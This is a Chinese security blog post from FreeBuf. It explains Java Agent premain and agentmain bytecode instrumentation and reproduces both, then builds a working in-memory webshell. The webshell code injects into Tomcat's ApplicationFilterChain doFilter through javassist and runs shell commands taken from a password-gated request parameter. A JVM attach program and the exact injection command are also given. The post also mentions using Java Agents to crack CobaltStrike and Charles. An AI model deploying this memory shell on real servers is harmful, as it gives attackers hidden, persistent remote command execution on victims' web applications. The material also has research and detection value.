freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Java Agent到内存马
蚁景科技 2021-12-14 13:45:05 131150
所属地 湖南省

前言

今天看到一篇文章,写的是关于JAVA Agent相关的资料(附1),里面提到了Java Agent的两种实现方法:

  • 实现premain方法,在JVM启动前加载

  • 实现agentmain方法,在JVM启动后attach加载

因为最近流行破解CobaltStrike不再直接使用反编译打包源码了,而是使用JAVA Agent进行提前字节码修改。并且文章中也提到了javassist工具,我之前也用过javassist工具进行破解过Charles,因此抱着学习和复习的态度来复现下本文提到的技术点。

JAVA Agent两种方法复现

Java Agent简单说就是一种可以修改jar字节码的技术,我们来复现下上述提到的两种方法。

premain

通过实现premain方法,并在启动jar时添加-javaagent:agent.jar即可进行字节码修改。首先我们创建一个正常输出、测试用的JAVA程序,hello.jar

package com.test;public class Hello {public static void main(String[] args) {hello();}public static void hello(){for (int i = 0; i < 1000; i++) {System.out.println("hello");try {Thread.sleep(1000);} catch (InterruptedException e) {e.printStackTrace();}}}}

生成jar包:

Build -> Build Artifacts -> Build

正常运行jar包得到如下输出:

java -jar hello.jar

1639459659_61b82b4b5e4b366d5606b.png!small

接下来编写一个实现premain方法的JAVA程序:

package com.test;import java.lang.instrument.Instrumentation;public class premainagent {public static void premain(String args, Instrumentation inst) throws Exception{for (int i = 0; i < 10; i++) {System.out.println("hello I`m premain agent!!!");}}}

并在MANIFEST.MF添加一行:

Premain-Class: com.test.premainagent

生成jar包并加载执行:

java -javaagent:premainagent.jar -jar hello.jar

可以看到,成功的在hello.jar本身结果输出前输出了premain方法的内容:

1639459886_61b82c2ee48094dce6335.png!small

前面也提到现在破解CobaltStrike流行用JAVA Agent技术,我们看下破解工具的源码,能发现确实用的也是premain方法进行的破解:

1639459896_61b82c3848fc525cb7580.png!small

agentmain

但是有些JVM已经启动了,不好去让他重启,因此这个时候agentmain就派上用场了,可以方便的attach对应的进程进行字节码的修改。

编写一个实现了agentmain方法的JAVA程序:

package com.test;import java.lang.instrument.Instrumentation;public class agentmaintest {public static void agentmain(String agentArgs, Instrumentation inst) {for (int i = 0; i < 10; i++) {System.out.println("hello I`m agentMain!!!");}}}

并在MANIFEST.MF添加一行:

Agent-Class: com.test.agentmaintest

生成jar包。

再编写一个attach程序(附2):

import com.sun.tools.attach.*;import java.io.IOException;import java.util.List;public class TestAgentMain {public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException{//获取当前系统中所有 运行中的 虚拟机System.out.println("running JVM start ");List<VirtualMachineDescriptor> list = VirtualMachine.list();for (VirtualMachineDescriptor vmd : list) {System.out.println(vmd.displayName());String aim = args[0];//你的jar包if (vmd.displayName().endsWith(aim)) {System.out.println(String.format("find %s, process id %s", vmd.displayName(), vmd.id()));VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());virtualMachine.loadAgent(args[1]);//你想要加载的agentmain包virtualMachine.detach();}}}}

生成jar包。

依然尝试对hello.jar进行字节码的修改,但是这次是运行着的hello.jar

首先运行hello.jar

java -jar hello.jar

hello.jar进行启动后的attach加载:

java -Djava.library.path=YOUR_PATH_TO_JDK/jre/bin -cp YOUR_PATH_TO_JDK/lib/tools.jar:TestAgentMain.jar TestAgentMain hello.jar agentmaintest.jar

发现成功在hello.jar运行过程中进行了字节码修改:

1639459908_61b82c44e9eab084027d5.png!small

内存马

既然可以修改某个方法的实现,那如果修改spring bootFilter是否就可以实现一个Filter内存马?这里通过修改org.apache.catalina.core.ApplicationFilterChain#doFilter来达到实现内存马的目的。

依然实现一个agentmain方法,只是这次agentmain方法中不再是System.out.println了,而是接收request的值来执行命令。一开始跟着前文提到的方法进行复现,发现有一些问题,比如attach后会爆Caused by: java.lang.ClassNotFoundException: org.apache.catalina.core.ApplicationFilterChain

得加上这两句:

ClassPool classPool = ClassPool.getDefault();classPool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));

除了上面agentmain章节中提到的,在MANIFEST.MF中添加一行Agent-Class,还要添加一行:

Can-Retransform-Classes: true

且最后执行命令的JAVA代码,申明变量类型时得是完整路径,如InputStream得变成java.io.InputStream。最终代码如下:

package com.test;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.Instrumentation;import java.security.ProtectionDomain;import javassist.*;import java.lang.instrument.UnmodifiableClassException;import java.lang.instrument.IllegalClassFormatException;import java.io.IOException;import java.io.IOException;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.Instrumentation;import java.lang.instrument.UnmodifiableClassException;import java.security.ProtectionDomain;import javassist.CannotCompileException;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import javassist.NotFoundException;public class memshell {public static void agentmain(String agentArgs, Instrumentation instrumentation)throws ClassNotFoundException, UnmodifiableClassException {instrumentation.addTransformer(new ClassFileTransformer() {@Overridepublic byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,ProtectionDomain protectionDomain, byte[] classfileBuffer){System.out.println("premain load Class2:" + className);if(!"org/apache/catalina/core/ApplicationFilterChain".equals(className)){System.out.println("nonononononono");return null;}else {try {System.out.println("tryyyyyyyy");ClassPool classPool = ClassPool.getDefault();classPool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));if (classBeingRedefined != null) {ClassClassPath ccp = new ClassClassPath(classBeingRedefined);classPool.insertClassPath(ccp);}CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");String source = "{javax.servlet.http.HttpServletRequest request = $1;" +"javax.servlet.http.HttpServletResponse response = $2;" +"request.setCharacterEncoding(\"UTF-8\");" +"String result = \"\";" +"String password = request.getParameter(\"password\");" +"if (password != null && password.equals(\"xxxxxx\")) {" +"String cmd = request.getParameter(\"cmd\");" +"if (cmd != null && cmd.length() > 0) {" +"java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();" +"java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();" +"byte[] b = new byte[1024];" +"int a = -1;" +"while ((a = in.read(b)) != -1) {" +"baos.write(b, 0, a);" +"}" +"response.getWriter().println(\"<pre>\" + new String(baos.toByteArray()) + \"</pre>\");" +"}" +"}}";ctMethod.insertBefore(source);System.out.println("okokkkkkkkkkkkkkkkkkkkkkkkkkkkkk");byte[] byteCode = ctClass.toBytecode();ctClass.detach();return byteCode;} catch (Exception e) {e.printStackTrace();}return null;}}},true);instrumentation.retransformClasses(Class.forName("org.apache.catalina.core.ApplicationFilterChain"));}}

打包成jar,然后启动spring boot

1639459922_61b82c525c6c4b9bc6d50.png!small

1639459929_61b82c5984c08ef430285.png!small

1639459937_61b82c61b0a2e7955bf58.png!small

开始注入:

java -Djava.library.path=YOUR_PATH_TO_JDK/jre/bin -cp YOUR_PATH_TO_JDK/lib/tools.jar:TestAgentMain.jar TestAgentMain demo-0.0.1-SNAPSHOT.jar  memshell.jar

成功执行命令:

1639459946_61b82c6aa76fd38712688.png!small

总结

本文借着公开的文章学习了Java Agent相关技术,分别对JVM运行前和运行后的字节码修改进行了复现,现在JAVA内存马越来越流行,借着反序列化等漏洞可以悄无声息的上一个Webshell,如何发现此类攻击手段也是一个重要战场。

附1:https://xz.aliyun.com/t/9450

附2:https://blog.csdn.net/qq_41874930/article/details/121284684

# 数据安全 # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 蚁景科技 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
蚁景科技 LV.9
湖南蚁景科技有限公司主要从事在线教育平台技术研究及网络培训产品研发,专注网络空间安全实用型人才培养,全面提升用户动手实践能力。
  • 907 文章数
  • 672 关注者
蚁景科技荣膺双项殊荣,引领网络安全教育新潮流
2025-03-28
FlowiseAI 任意文件写入漏洞(CVE-2025–26319)
2025-03-27
路由器安全研究:D-Link DIR-823G v1.02 B05 复现与利用思路
2025-03-18
文章目录